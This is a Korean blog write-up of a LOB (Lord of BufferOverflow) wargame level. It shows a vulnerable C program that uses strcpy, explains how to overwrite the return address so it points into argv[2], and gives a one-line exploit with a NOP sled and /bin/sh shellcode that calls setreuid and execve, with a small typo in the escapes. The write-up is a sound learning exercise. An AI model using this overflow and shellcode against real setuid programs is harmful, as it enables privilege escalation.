- #include <stdio.h>
- #include <stdlib.h>
- extern char **environ;
- main(int argc, char *argv[])
- {
- char buffer[40];
- int i;
- if(argc < 2){
- printf("argv error\n");
- exit(0);
- }
- // egghunter
- for(i=0; environ[i]; i++)
- memset(environ[i], 0, strlen(environ[i]));
- if(argv[1][47] != '\xbf')
- {
- printf("stack is still your friend.\n");
- exit(0);
- }
- strcpy(buffer, argv[1]);
- printf("%s\n", buffer);
- }
역시 취약점이 발생하는 부분은 strcpy(buffer, argv[1]); 이부분이다.
소스코드를 보면 알겠지만 환경변수를 이용한 방법은 통하지 않는다.
따라서 argv[2]에 nop과 쉘코드를 박아 리턴주소에 덮어 씌우면 될것 같다.
strcpy함수를 보아 edx에 argv[1]의 값이 저장되어 있을 것이다.
조건에 맞추어 "\xbf"로 buffer를 덮어주고 argv[2]의 값을 확인해보자.
예상대로 argv[1]의 주소이다.
\x90이 시작되는 부분이 argv[2]의 시작주소이고 ret 주소는 넉넉하게 0xbffffc9b로 주도록 하자.
./ord `python -c 'print "A"*44 + "\x74\xfc\xff\xbf"'``python -c 'print "\x90*100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\e1\x89\xc2\xb0\x0b\xcd\x80"'`
'pwnable > LOB' 카테고리의 다른 글
LOB cobolt -> goblin (0) | 2017.02.07 |
---|---|
LOB gremlin -> cobolt (0) | 2017.02.07 |
LOB - gate -> gremlin (0) | 2017.02.07 |